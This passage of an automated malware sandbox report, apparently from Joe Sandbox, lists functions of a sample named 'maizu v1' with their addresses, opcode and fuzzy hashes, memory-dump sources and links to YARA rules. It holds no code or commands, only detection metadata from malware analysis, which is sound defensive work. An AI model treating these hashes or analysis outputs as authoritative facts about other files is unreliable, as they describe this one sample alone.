Instruction ID: 2b40e6a344cfb613da5586cb559c82155394e166801cce07cb5765b2a5060328
Opcode Fuzzy Hash: 8aaebf1e4c3640f5f3ce392bc9914373ba4fadcd76e73042caaaaaebe0853f7e
Instruction Fuzzy Hash: D23132B0100B008BC730DF24D991A23B7F1FF1A714B149A0CE9AB8BAA5E335F940CB65

Function 00C328EA Relevance: 1.3, Strings: 1, Instructions: 81COMMON

Download Yara Rule

Strings

, xrefs: 00C32956, 00C32933, 00C3293B

Memory Dump Source

Source File: 00000000.00000002.2082686970.0000000000BEC000.00000004.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.2082616031.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082633882.0000000000BC1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082665928.0000000000BE2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082723986.0000000000C44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083295233.0000000000C45000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083352998.0000000000C47000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_maizu v1.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3019521637
Opcode ID: 6755f9bab069ea5934903f8183f253ded6f2aca177a558b48b1de12272a79bcd
Instruction ID: ca0f0b8c775a2740312c5170b6df44a2aba93a8dde27cf0b5c551592a0a1fbeb
Opcode Fuzzy Hash: 6755f9bab069ea5934903f8183f253ded6f2aca177a558b48b1de12272a79bcd
Instruction Fuzzy Hash: B021AE74628341AFDB04DF08C841B2AB7E5EB95705F64891CF1D19B2E2C375E850CB96

Function 00BDC99D Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00BDC99D

Memory Dump Source

Source File: 00000000.00000002.2082633882.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.2082616031.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082665928.0000000000BE2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082686970.0000000000BEC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082723986.0000000000C44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083295233.0000000000C45000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083352998.0000000000C47000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_maizu v1.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: e8b9b5edc6da3c2a07c6ccc491426e427214af5617a6d6452ac073d96c13b8ce
Instruction ID: 2b9754cb7b23ced6a4604237ea131ddf36dfed4d724adba1ffe2e03cf240e015
Opcode Fuzzy Hash: e8b9b5edc6da3c2a07c6ccc491426e427214af5617a6d6452ac073d96c13b8ce
Instruction Fuzzy Hash: 0EA011302022008B83008F30EB0A30C3AECAA0AA803000028A008EA020EE3080008A03

Function 00BF7F40 Relevance: .8, Instructions: 789COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2082686970.0000000000BEC000.00000004.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.2082616031.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082633882.0000000000BC1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082665928.0000000000BE2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082723986.0000000000C44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083295233.0000000000C45000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083352998.0000000000C47000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_maizu v1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 55bdd7183e786f206f49eb0e89a9435e12bd88c65a2001897e8b962e1375b007
Instruction ID: 430e6db6da6df0227f61ac730e4f689102f94e040b8d6aa4c06c892acd2aa844
Opcode Fuzzy Hash: 55bdd7183e786f206f49eb0e89a9435e12bd88c65a2001897e8b962e1375b007
Instruction Fuzzy Hash: B342F8316087198BC724DF28E88067EB3E1FFD4355F29896DDA85C7291EB34E859CB42

Function 00C10910 Relevance: .7, Instructions: 700COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2082686970.0000000000BEC000.00000004.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.2082616031.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082633882.0000000000BC1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082665928.0000000000BE2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082723986.0000000000C44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083295233.0000000000C45000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083352998.0000000000C47000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_maizu v1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 16869c809fe6b9c013eb52f11e203e487ef228a061d05dc0c8baca727ee9c214
Instruction ID: 045fe9c5af19eb57ab39f5cb701f11d8c2aebfac40868fac51e0fffccf9b26bd
Opcode Fuzzy Hash: 16869c809fe6b9c013eb52f11e203e487ef228a061d05dc0c8baca727ee9c214
Instruction Fuzzy Hash: 8872F5B0508B818ED371CF3C8849797BFE5AB1A324F144A5EE0EA8B3D2C3756545CB66

Function 00BF7430 Relevance: .7, Instructions: 670COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2082686970.0000000000BEC000.00000004.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.2082616031.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082633882.0000000000BC1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082665928.0000000000BE2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082723986.0000000000C44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083295233.0000000000C45000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083352998.0000000000C47000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_maizu v1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 169fd697c981202875bdf4f7b877c3bbabddd2f5e73f7c32bbe4a1385d044f0b
Instruction ID: c23c67712e5cdbe8f407af4cea6aa34c5523dbd10872201ba4a25802a166189c
Opcode Fuzzy Hash: 169fd697c981202875bdf4f7b877c3bbabddd2f5e73f7c32bbe4a1385d044f0b
Instruction Fuzzy Hash: F252F87094CB889FE731CB24C4887B7BBE1EF51314F1458EDC6E647A82CA79A889C741

Function 00BF3280 Relevance: .7, Instructions: 657COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2082686970.0000000000BEC000.00000004.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.2082616031.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082633882.0000000000BC1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082665928.0000000000BE2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082723986.0000000000C44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083295233.0000000000C45000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083352998.0000000000C47000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_maizu v1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e65e6d0ec29a0286690b312841c0ba80701f8bb5ada55794a20425fd9e091869
Instruction ID: eb4dd3ff9e9d061eff3b1a392ec469f0dc6fc95a0384294f9dcdd56e67e831fa
Opcode Fuzzy Hash: e65e6d0ec29a0286690b312841c0ba80701f8bb5ada55794a20425fd9e091869
Instruction Fuzzy Hash: 6E52D0715083498FCB15CF29C0906BABBE1FF88714F188AADE99957341D778DA89CB81

Function 00BF3C80 Relevance: .6, Instructions: 592COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2082686970.0000000000BEC000.00000004.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.2082616031.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082633882.0000000000BC1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082665928.0000000000BE2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082723986.0000000000C44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083295233.0000000000C45000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083352998.0000000000C47000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_maizu v1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8b4942d6c5a04db89343f61d2bd896b7a754b8bfa492006bc517a5ac4323522e
Instruction ID: 15335c748cc132db0f5c573878515d01acd6064cc602ed4fd8893d490ab7f6ee
Opcode Fuzzy Hash: 8b4942d6c5a04db89343f61d2bd896b7a754b8bfa492006bc517a5ac4323522e
Instruction Fuzzy Hash: 0F321070914B198FC368CF29C59052ABBF2FF45710B604A6ED6A787B90D736F988CB14

Function 00BF6340 Relevance: .5, Instructions: 504COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2082686970.0000000000BEC000.00000004.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.2082616031.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082633882.0000000000BC1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082665928.0000000000BE2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082723986.0000000000C44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083295233.0000000000C45000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083352998.0000000000C47000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_maizu v1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c2ed25ed2ecece428dec3d662da4c49c86df14d0f0cac3c7bd7da9d139c37883
Instruction ID: 41e39ea0ff283367326d537f92a26c37c2176707db4a7979b68d9720c5b04c2a
Opcode Fuzzy Hash: c2ed25ed2ecece428dec3d662da4c49c86df14d0f0cac3c7bd7da9d139c37883
Instruction Fuzzy Hash: EF02D2356087448FC728CF29C89167BFBE2EFD8304F04896DE9D687791EA359908CB56

Function 00C19440 Relevance: .4, Instructions: 380COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2082686970.0000000000BEC000.00000004.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.2082616031.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082633882.0000000000BC1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082665928.0000000000BE2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082723986.0000000000C44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083295233.0000000000C45000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083352998.0000000000C47000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_maizu v1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 83d948c1b98276872fbedeb4ae571c7f1df7ffbfed0eb7000220ee8de56deee4
Instruction ID: 9e660d4ee7853a618f769aed555c982ae4e22818fb2d3551e8226d4f8b35a9f3
Opcode Fuzzy Hash: 83d948c1b98276872fbedeb4ae571c7f1df7ffbfed0eb7000220ee8de56deee4
Instruction Fuzzy Hash: 4AB126706083018BD714DF24C8606ABB7E2EF97304F14492CE5D687391E735E995EB92

Function 00C20442 Relevance: .4, Instructions: 358COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2082686970.0000000000BEC000.00000004.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.2082616031.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082633882.0000000000BC1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082665928.0000000000BE2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082723986.0000000000C44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083295233.0000000000C45000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083352998.0000000000C47000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_maizu v1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c5e5a161c1ab45c4b1e480cfbddb13b76eded34dc1ce46f9e0b718e5efcd9d52
Instruction ID: cfdc2d206e79564609f7740c88ce73d163783563c5f0df0b59f6bcace76168a9
Opcode Fuzzy Hash: c5e5a161c1ab45c4b1e480cfbddb13b76eded34dc1ce46f9e0b718e5efcd9d52
Instruction Fuzzy Hash: BCD13FB4800B419FD320AF39D146752BFB0FB06300F544A9EE8EA5B686D335A45ACFD6

Function 00C33DB0 Relevance: .3, Instructions: 330COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2082686970.0000000000BEC000.00000004.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.2082616031.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082633882.0000000000BC1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082665928.0000000000BE2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082723986.0000000000C44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083295233.0000000000C45000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083352998.0000000000C47000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_maizu v1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5adaadb379de4d0ac6695891303286d85bf5796d7f1c210cbcdbab9b523f8b94
Instruction ID: db5865e42335162e031907a51ebfcdbfcab459c089bf831f64a144aaa57879a7
Opcode Fuzzy Hash: 5adaadb379de4d0ac6695891303286d85bf5796d7f1c210cbcdbab9b523f8b94
Instruction Fuzzy Hash: F9A104B1A183909BE718DB69CC4476FB7E5EBC5314F08496CF99887382E735EE048792

Function 00BDB888 Relevance: .3, Instructions: 327COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2082633882.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.2082616031.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082665928.0000000000BE2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082686970.0000000000BEC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082723986.0000000000C44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083295233.0000000000C45000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083352998.0000000000C47000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_maizu v1.jbxd

Similarity

API ID: ErrorLastProcess$CurrentFeatureInfoLocalePresentProcessorTerminate
String ID:
API String ID: 3471368781-0
Opcode ID: 028da0ec6c0243b52b1ff28ea382a12b1a8b928fb1f602426815fc872dcd755f
Instruction ID: 25dd79202c0cd53341351fd43e563ca4266092e57cde0d16ede8c3ea388628fd
Opcode Fuzzy Hash: 028da0ec6c0243b52b1ff28ea382a12b1a8b928fb1f602426815fc872dcd755f
Instruction Fuzzy Hash: F5B1D235500742CBDB389B25CC92EBBF3E9EB44308F5545AFEA4286784FB75E9858B10

Function 00C024AC Relevance: .3, Instructions: 284COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2082686970.0000000000BEC000.00000004.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.2082616031.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082633882.0000000000BC1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082665928.0000000000BE2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082723986.0000000000C44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083295233.0000000000C45000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083352998.0000000000C47000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_maizu v1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d6742bc921a87cbc0d7ecdfc3dd5ce11be376d8912454172b111acada42123f
Instruction ID: dc1bf109dd392edf8c0e2a4fc9bd8914c0379aa551a6f2e329277832aba6d2b7
Opcode Fuzzy Hash: 7d6742bc921a87cbc0d7ecdfc3dd5ce11be376d8912454172b111acada42123f
Instruction Fuzzy Hash: 82C10074500B508BD3258F24C895B67BBF1FF46304F14895DE9AB8BAA2E736B806CB54

Function 00C25080 Relevance: .3, Instructions: 277COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2082686970.0000000000BEC000.00000004.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.2082616031.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082633882.0000000000BC1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082665928.0000000000BE2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082723986.0000000000C44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083295233.0000000000C45000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083352998.0000000000C47000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_maizu v1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c6242de2c158a3e25abd914ef81a7081ec85dc90910a15599f474a425946f381
Instruction ID: 8f184515cd8d43566322ea4a6b987f8ebfdc6a3f5ff8b64b2202fb471fa84eca
Opcode Fuzzy Hash: c6242de2c158a3e25abd914ef81a7081ec85dc90910a15599f474a425946f381
Instruction Fuzzy Hash: 41812837B15DA14BC318893D5C112BBAA831FD7370B3EC36AA9B6CB7E5D97588124390

Function 00BF130A Relevance: .3, Instructions: 271COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2082686970.0000000000BEC000.00000004.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.2082616031.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082633882.0000000000BC1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082665928.0000000000BE2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082723986.0000000000C44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083295233.0000000000C45000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083352998.0000000000C47000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_maizu v1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9bb0e1251b43261e23572b6fe04e2d9b66b4d052610f955a5f7654400d35fefe
Instruction ID: dfdc1129e9be61d600add12140904e89d5ebdb1279586e0a7e249a9f18904461
Opcode Fuzzy Hash: 9bb0e1251b43261e23572b6fe04e2d9b66b4d052610f955a5f7654400d35fefe
Instruction Fuzzy Hash: 4091E5B1A08389CBD7258E5D9580336B6D2EFA1344F1D8DEDDA894B241E7B1CC4DC781

Function 00C1AAE2 Relevance: .3, Instructions: 256COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2082686970.0000000000BEC000.00000004.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.2082616031.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082633882.0000000000BC1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082665928.0000000000BE2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082723986.0000000000C44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083295233.0000000000C45000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083352998.0000000000C47000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_maizu v1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a435c7ff7e61a266175cc740b2df94f4f0bcffa5dc796596f52e14c951997eae
Instruction ID: ff64c43045dacd50c530d588c56c4b305aca92046250dc2642f171b478ef62b5
Opcode Fuzzy Hash: a435c7ff7e61a266175cc740b2df94f4f0bcffa5dc796596f52e14c951997eae
Instruction Fuzzy Hash: 94712877A14B154BC728CD3C9C116AAB6D2ABC4214F4E833CD99ADB386EB74ED0197C1

Function 00C23A90 Relevance: .3, Instructions: 254COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2082686970.0000000000BEC000.00000004.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.2082616031.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082633882.0000000000BC1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082665928.0000000000BE2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082723986.0000000000C44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083295233.0000000000C45000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083352998.0000000000C47000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_maizu v1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e8b4e1efa5495fb8a019b3a8f09c75cd24c53d3083fb3dc6746e68a82280d218
Instruction ID: 018b1f58a48a77aa8044fe60afe1874255166166da5eccb985f47195e08c6625
Opcode Fuzzy Hash: e8b4e1efa5495fb8a019b3a8f09c75cd24c53d3083fb3dc6746e68a82280d218
Instruction Fuzzy Hash: EF8138366196E04BD3289E3DAC11379AE824BD2334F2D876EE8F18B7E1C56D8A018351

Function 00C14110 Relevance: .2, Instructions: 242COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2082686970.0000000000BEC000.00000004.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.2082616031.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082633882.0000000000BC1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082665928.0000000000BE2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082723986.0000000000C44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083295233.0000000000C45000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083352998.0000000000C47000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_maizu v1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 17b631a1ef9c90cdc196109c47057cb6dd3a7c54a8c9dd28249f1b39c8e723b3
Instruction ID: 0e5ca0ffee1d37fcc82ef0e7b8667b63ce591907d2225bcc76ca7e68c577077e
Opcode Fuzzy Hash: 17b631a1ef9c90cdc196109c47057cb6dd3a7c54a8c9dd28249f1b39c8e723b3
Instruction Fuzzy Hash: 9151E0B1600300ABDB249B64CC96BB733B4EF92364F188558F955CB3A1F375E984D762

Function 00BF1270 Relevance: .2, Instructions: 223COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2082686970.0000000000BEC000.00000004.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.2082616031.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082633882.0000000000BC1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082665928.0000000000BE2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082723986.0000000000C44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083295233.0000000000C45000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083352998.0000000000C47000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_maizu v1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5f99aab2791bd1aba6dfb3b61b9a4968c41f01324f8c9ecb9249fe38aea401d4
Instruction ID: dc632ca1d07897e52a768f9d1a165a867a8b32fca02e95cd89144f686afc75f1
Opcode Fuzzy Hash: 5f99aab2791bd1aba6dfb3b61b9a4968c41f01324f8c9ecb9249fe38aea401d4
Instruction Fuzzy Hash: FD71D2B6A0974AC7E7258A1CD540336BBE2EFE1354F198E9DDA9A4B341E772C80CC741

Function 00C312B0 Relevance: .2, Instructions: 220COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2082686970.0000000000BEC000.00000004.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.2082616031.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082633882.0000000000BC1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082665928.0000000000BE2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082723986.0000000000C44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083295233.0000000000C45000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083352998.0000000000C47000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_maizu v1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 260186d478aae003c652c9c0622f6da14b7ca9a12c80829d925b8ad8623de31d
Instruction ID: 6ab624ace421426b0d33be11b0a5b22823acc72ecff72aafcb9d40f645114515
Opcode Fuzzy Hash: 260186d478aae003c652c9c0622f6da14b7ca9a12c80829d925b8ad8623de31d
Instruction Fuzzy Hash: DA71CD716283409FDB10DF19C880B2ABBE6EFC5314F1C892CE9E5872A2D771ED518B52

Function 00C208E0 Relevance: .2, Instructions: 215COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2082686970.0000000000BEC000.00000004.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.2082616031.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082633882.0000000000BC1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082665928.0000000000BE2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082723986.0000000000C44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083295233.0000000000C45000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083352998.0000000000C47000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

